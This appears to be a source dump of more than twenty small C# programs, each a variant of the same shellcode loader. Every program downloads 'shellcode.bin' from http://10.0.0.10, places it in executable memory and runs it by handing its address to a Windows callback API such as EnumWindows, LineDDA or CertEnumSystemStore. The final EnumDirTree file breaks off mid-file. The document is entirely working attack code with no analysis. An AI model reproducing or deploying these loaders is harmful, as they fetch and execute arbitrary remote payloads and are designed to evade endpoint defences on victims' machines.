1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumWindows
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumWindows(addr, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("user32.dll")]
28 | static extern bool EnumWindows(IntPtr lpEnumFunc, IntPtr lParam);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/EnumPwrSchemes/EnumPwrSchemes/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumPwrSchemes
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumPwrSchemes(addr, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("powrprof.dll")]
28 | static extern bool EnumPwrSchemes(IntPtr lpfn, IntPtr lParam);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/EnumResourceTypesExW/EnumResourceTypesExW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 |
5 | namespace EnumResourceTypesExW
6 | {
7 | internal class Program
8 | {
9 | static void Main(string[] args)
10 | {
11 | string url = "http://10.0.0.10/shellcode.bin";
12 | System.Net.WebClient client = new System.Net.WebClient();
13 | byte[] shellcode = client.DownloadData(url);
14 |
15 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
16 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
17 |
18 | EnumResourceTypesExW(IntPtr.Zero, addr, IntPtr.Zero, 0, 0);
19 |
20 | }
21 |
22 | [DllImport("kernel32.dll", SetLastError = true)]
23 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
24 |
25 | [DllImport("kernel32.dll")]
26 | static extern bool EnumResourceTypesExW(IntPtr hModule, IntPtr lpEnumFrunc, IntPtr lParam, int dwFlags, int LangId);
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/EnumPageFilesW/EnumPageFilesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumPageFilesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumPageFilesW(addr, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("psapi.dll")]
28 | static extern bool EnumPageFilesW(IntPtr pCallBackRoutine, IntPtr pContext);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/LineDDA/LineDDA/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace LineDDA
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | LineDDA(1, 2, 3, 4, addr, 0);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("gdi32.dll")]
28 | static extern bool LineDDA(int xStart, int yStart, int xEnd, int yEnd, IntPtr lpProc, int data);
29 |
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumSystemLocales/EnumSystemLocales/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumSystemLocales
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumSystemLocalesW(addr, 0);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumSystemLocalesW(IntPtr lpLocaleEnumProc, uint dwFlags);
29 | }
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/EnumSystemGeoID/EnumSystemGeoID/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumSystemGeoID
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumSystemGeoID(0x10, 0, addr);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumSystemGeoID(int GeoClass, int ParentGeoId, IntPtr lpFeoEnumProc);
29 |
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumDateFormatsW/EnumDateFormatsW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumDateFormatsW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumDateFormatsW(addr, 0xC00, 0);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("kernel32.dll")]
29 | static extern bool EnumDateFormatsW(IntPtr lpDateFmtEnumProc, int Locale, int dwFlags);
30 |
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/EnumSystemCodePagesW/EnumSystemCodePagesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumSystemCodePagesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumSystemCodePagesW(addr, 0);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumSystemCodePagesW(IntPtr lpCodePageEnumProc, uint dwFlags);
29 |
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumSystemGeoNames/EnumSystemGeoNames/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumSystemGeoNames
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumSystemGeoNames(0x10, addr, 0);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("kernel32.dll")]
29 | static extern bool EnumSystemGeoNames(int geoClass, IntPtr geoEnumProc, uint data);
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumThreadWindows/EnumThreadWindows/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumThreadWindows
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumThreadWindows(0, addr, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("user32.dll")]
28 | static extern bool EnumThreadWindows(uint dwThreadId, IntPtr lpfn, IntPtr lParam);
29 | }
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/EnumDesktopsW/EnumDesktopsW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumDesktopsW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumDesktopsW(IntPtr.Zero, addr, 0);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("user32.dll", SetLastError = true)]
29 | static extern bool EnumDesktopsW(IntPtr hwinsta, IntPtr lpEnumFunc, uint lParam);
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumUILanguagesW/EnumUILanguagesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumUILanguagesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumUILanguagesW(addr, 0, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumUILanguagesW(IntPtr lpUILanguageEnumProc, int dwFlags, IntPtr lParam);
29 | }
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/CallWindowProcW/CallWindowProcW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CallWindowProcW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | CallWindowProcW(addr, IntPtr.Zero, 0, 0, 0);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("user32.dll")]
28 | static extern UInt32 CallWindowProcW(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, int wParam, int lParam);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/EnumDesktopWindows/EnumDesktopWindows/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumDesktopWindows
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumDesktopWindows(IntPtr.Zero, addr, 0);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("user32.dll", SetLastError = true)]
29 | static extern bool EnumDesktopWindows(IntPtr hDesktop, IntPtr lpfn, uint lParam);
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumResourceTypesW/EnumResourceTypesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumResourceTypesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumResourceTypesW(IntPtr.Zero, addr, IntPtr.Zero);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("kernel32.dll")]
29 | static extern bool EnumResourceTypesW(IntPtr hModule, IntPtr lpEnumFunc, IntPtr lParam);
30 | }
31 | }
32 |
33 |
--------------------------------------------------------------------------------
/EnumChildWindows/EnumChildWindows/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumChildWindows
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumChildWindows(IntPtr.Zero, addr, 0);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("user32.dll", SetLastError = true)]
29 | static extern bool EnumChildWindows(IntPtr hWindParent, IntPtr lpEnumFunc, uint lparam);
30 |
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/EnumTimeFormatsEx/EnumTimeFormatsEx/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumTimeFormatsEx
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumTimeFormatsEx(addr, IntPtr.Zero, 0, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumTimeFormatsEx(IntPtr lpTimeFmtEnumProcEx, IntPtr lpLocaleName, uint dwFlags, IntPtr lParam);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/EnumWindowStationsW/EnumWindowStationsW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Runtime.Serialization;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace EnumWindowStationsW
10 | {
11 | internal class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | EnumWindowStationsW(addr, IntPtr.Zero);
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("user32.dll")]
29 | static extern bool EnumWindowStationsW(IntPtr lpEnumFunc, IntPtr lParam);
30 |
31 | }
32 | }
33 |
34 |
--------------------------------------------------------------------------------
/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumSystemLanguageGroupsW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumSystemLanguageGroupsW(addr, 0, IntPtr.Zero);
22 | }
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
26 |
27 | [DllImport("kernel32.dll")]
28 | static extern bool EnumSystemLanguageGroupsW(IntPtr lpLanguageGroupEnumProc, uint dwFlags, IntPtr lParam);
29 | }
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/EnumCalenderInfoEx/EnumCalenderInfoEx/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumCalenderInfoEx
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumCalendarInfoEx(addr, 0x400, 0xFFFFFFFF, 0x00000015);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("kernel32.dll", SetLastError = true)]
29 | static extern bool EnumCalendarInfoEx(IntPtr lpCalInfoEnumProc, int Locale, uint Calendar, int CalType);
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/CertEnumSystemStore/CertEnumSystemStore/CertEnumSystemStoreRunner.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | class CertEnumSystemStoreRunner
5 | {
6 |
7 | static void Main()
8 | {
9 | string url = "http://10.0.0.10/shellcode.bin";
10 | System.Net.WebClient client = new System.Net.WebClient();
11 | byte[] shellcode = client.DownloadData(url);
12 |
13 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
14 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
15 |
16 | CertEnumSystemStore(CertSystemStoreFlags.CurrentUser, IntPtr.Zero, IntPtr.Zero, addr);
17 | }
18 |
19 | [DllImport("kernel32.dll", SetLastError = true)]
20 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);
21 |
22 | [DllImport("Crypt32.dll", EntryPoint = "CertEnumSystemStore", CharSet = CharSet.Unicode, SetLastError = true)]
23 | static extern bool CertEnumSystemStore(CertSystemStoreFlags dwFlags, IntPtr pvSystemStoreLocationPara, IntPtr pvReserved, IntPtr pfnEnum);
24 |
25 | enum CertSystemStoreFlags : uint
26 | {
27 | CurrentUser = 0x00010000
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumLanguageGroupLocalesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | EnumLanguageGroupLocalesW(addr, 0x5, 0, IntPtr.Zero);
22 |
23 | }
24 |
25 | [DllImport("kernel32.dll", SetLastError = true)]
26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [DllImport("kernel32.dll")]
29 | static extern bool EnumLanguageGroupLocalesW(IntPtr lpLangGroupLocaleEnumProc, int LanguageGroup, int dwFlags, IntPtr lParam);
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/EnumDisplayMonitors/EnumDisplayMonitors/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Net.NetworkInformation;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace EnumDisplayMonitors
10 | {
11 | internal class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, addr, IntPtr.Zero);
23 |
24 | }
25 |
26 | [DllImport("kernel32.dll", SetLastError = true)]
27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
28 |
29 | [DllImport("user32.dll")]
30 | static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, IntPtr lpfnEnum, IntPtr dwData);
31 |
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/CertSystemStoreLocation/CertSystemStoreLocation/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CertEnumSystemStoreLocation
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | CertEnumSystemStoreLocation(IntPtr.Zero, IntPtr.Zero, addr);
22 |
23 |
24 | }
25 |
26 | [DllImport("kernel32.dll", SetLastError = true)]
27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);
28 |
29 | [DllImport("Crypt32.dll", EntryPoint = "CertEnumSystemStoreLocation", CharSet = CharSet.Unicode, SetLastError = true)]
30 | static extern bool CertEnumSystemStoreLocation(IntPtr pwszStoreLocation, IntPtr Reserved, IntPtr pfnEnum);
31 | }
32 | }
33 |
34 |
--------------------------------------------------------------------------------
/EnumDirTree/EnumDirTree/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace EnumDirTree
10 | {
11 | internal class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | EnumDirTreeW(Process.GetCurrentProcess().Handle, "C:\\Windows", "*.log", IntPtr.Zero, addr, IntPtr.Zero);
23 |
24 | }
25 |
